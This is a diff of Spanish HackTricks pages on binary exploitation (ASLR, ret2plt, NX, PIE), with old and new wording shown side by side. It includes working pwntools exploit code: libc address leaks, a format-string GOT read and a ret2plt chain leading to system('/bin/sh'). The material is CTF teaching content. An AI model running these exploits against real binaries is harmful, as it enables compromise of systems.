* **env\_start** y **env\_end**: Direcciones arriba y abajo donde están las **variables de entorno** * **env\_start** & **env\_end**: Direcciones por encima y por debajo donde están las **variables de entorno**.
Por lo tanto, si el atacante está en la misma computadora que el binario que está siendo explotado y este binario no espera el desbordamiento de argumentos sin procesar, sino de una **entrada que puede ser creada después de leer este archivo**. Es posible para un atacante **obtener algunas direcciones de este archivo y construir desplazamientos a partir de ellas para el exploit**. Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**.
{% hint style="success" %} {% hint style="success" %}
Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat` Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
{% endhint %} {% endhint %}
### Teniendo una fuga ### Tener un leak
* **El desafío es dar una fuga** * **El desafío es dar un leak**
Si te dan una fuga (desafíos fáciles de CTF), puedes calcular desplazamientos a partir de ella (suponiendo, por ejemplo, que conoces la versión exacta de la `libc` que se utiliza en el sistema que estás explotando). Este ejemplo de exploit se extrae del [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles): Si se te da un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**el ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
```python ```python
from pwn import * from pwn import *
@ -135,15 +136,15 @@ p.interactive()
``` ```
* **ret2plt** * **ret2plt**
Aprovechando un desbordamiento de búfer, sería posible explotar un **ret2plt** para extraer la dirección de una función de la libc. Verifique: Abusando de un desbordamiento de búfer, sería posible explotar un **ret2plt** para exfiltrar una dirección de una función de la libc. Ver:
{% content-ref url="ret2plt.md" %} {% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md) [ret2plt.md](ret2plt.md)
{% endcontent-ref %} {% endcontent-ref %}
* **Lectura Arbitraria de Cadenas de Formato** * **Format Strings Lectura Arbitraria**
Al igual que en ret2plt, si tiene una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible extraer la dirección de una función de la **libc** desde el GOT. El siguiente [**ejemplo es aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una **función de libc** desde el GOT. El siguiente [**ejemplo es de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -162,22 +163,23 @@ Puedes encontrar más información sobre la lectura arbitraria de cadenas de for
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
Intenta evadir ASLR abusando de direcciones dentro de la pila: Intenta eludir ASLR abusando de direcciones dentro de la pila:
{% content-ref url="../../stack-overflow/ret2ret.md" %} {% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md) [ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2plt # Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Información Básica ## Basic Information
El objetivo de esta técnica sería **filtrar una dirección de una función desde la PLT** para poder evadir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` desde la libc, entonces puedes **calcular dónde está la base de `libc`** y calcular desplazamientos para acceder a otras funciones como **`system`**. El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder eludir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` de la libc, puedes entonces **calcular dónde está la base de `libc`** y calcular los desplazamientos para acceder a otras funciones como **`system`**.
Esto se puede hacer con un payload de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): Esto se puede hacer con una carga útil de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
@ -37,15 +38,15 @@ elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
Observa cómo se llama a **`puts`** (usando la dirección de la PLT) con la dirección de `puts` ubicada en el `GOT`. Esto se debe a que cuando `puts` imprime la entrada `GOT` de `puts`, esta **entrada contendrá la dirección de `puts` en memoria**. Note cómo **`puts`** (usando la dirección del PLT) se llama con la dirección de `puts` ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que para cuando `puts` imprime la entrada de la GOT de `puts`, esta **entrada contendrá la dirección exacta de `puts` en memoria**.
También observa cómo se utiliza la dirección de `main` en el exploit para que cuando `puts` finalice su ejecución, el **binario llame a `main` nuevamente en lugar de salir** (por lo que la dirección filtrada seguirá siendo válida). También note cómo se utiliza la dirección de `main` en el exploit, de modo que cuando `puts` termina su ejecución, el **binario llama a `main` nuevamente en lugar de salir** (así que la dirección filtrada seguirá siendo válida).
{% hint style="danger" %} {% hint style="danger" %}
Observa cómo, para que esto funcione, el **binario no puede estar compilado con PIE** o debes haber **encontrado una filtración para evitar PIE** para conocer la dirección de la `PLT`, `GOT` y `main`. Note cómo para que esto funcione el **binario no puede ser compilado con PIE** o debe haber **encontrado una filtración para eludir PIE** con el fin de conocer la dirección del PLT, GOT y `main`. De lo contrario, necesita eludir PIE primero.
{% endhint %} {% endhint %}
Puedes encontrar un [**ejemplo completo de este bypass aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este fue el exploit final de ese ejemplo: Puede encontrar un [**ejemplo completo de esta elusión aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este fue el exploit final de ese ejemplo:
```python ```python
from pwn import * from pwn import *
@ -81,9 +82,24 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
## Otros ejemplos y Referencias ## Otros ejemplos y referencias
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* En 64 bits, con ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canary para luego llamar a puts y filtrarlo. Con el canary se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`. * 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrar. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* En 64 bits, con ASLR habilitado, sin canary, desbordamiento de pila en main desde una función secundaria. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget one. * 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,42 @@
# No-exec / NX # No-exec / NX
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
El bit de **No Ejecución (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y se habilita, distingue entre regiones de memoria destinadas a código **ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **montón**. La idea principal es evitar que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer colocando el código malicioso en la pila, por ejemplo, y dirigiendo el flujo de ejecución hacia él. El bit **No-Execute (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y habilita, distingue entre regiones de memoria que están destinadas a **código ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **montículo**. La idea principal es prevenir que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer al colocar el código malicioso en la pila, por ejemplo, y dirigir el flujo de ejecución hacia él.
## Bypasses ## Bypasses
* Es posible utilizar técnicas como [**ROP**](../stack-overflow/rop-return-oriented-programing.md) para evadir esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario. * Es posible utilizar técnicas como [**ROP**](../stack-overflow/rop-return-oriented-programing.md) para eludir esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario.
* [**Ret2libc**](../stack-overflow/ret2lib/) * [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) * [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...** * **Ret2...**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,56 +1,58 @@
# PIE # PIE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
Un binario compilado como PIE, o **Ejecutable Independiente de la Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas en duro. Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas.
El truco para explotar estos binarios radica en explotar las **direcciones relativas**los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **burlar el PIE, solo necesitas filtrar una dirección**, típicamente desde el **stack** utilizando vulnerabilidades como ataques de cadena de formato. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**. El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
Una pista útil en la explotación de binarios PIE es que su **dirección base generalmente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se espera, indicando si se ha identificado la dirección base correcta.\ Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde allí simplemente puedes **calcular desplazamientos** de funciones y ubicaciones. O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes simplemente **calcular los desplazamientos** de funciones y ubicaciones.
## Bypasses ## Bypasses
Para burlar el PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto: Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto:
* **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre se **cargará en la misma dirección**, por lo tanto, **el PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar. * **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar.
* Que te **den** la filtración (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) * Ser **proporcionado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Fuerza bruta en los valores de EBP y EIP** en el stack hasta que filtres los correctos: * **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos:
{% content-ref url="bypassing-canary-and-pie.md" %} {% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) [bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %} {% endcontent-ref %}
* Utiliza una vulnerabilidad de lectura arbitraria como [**cadena de formato**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde el stack, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). * Usar una vulnerabilidad de lectura arbitraria como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Referencias ## Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more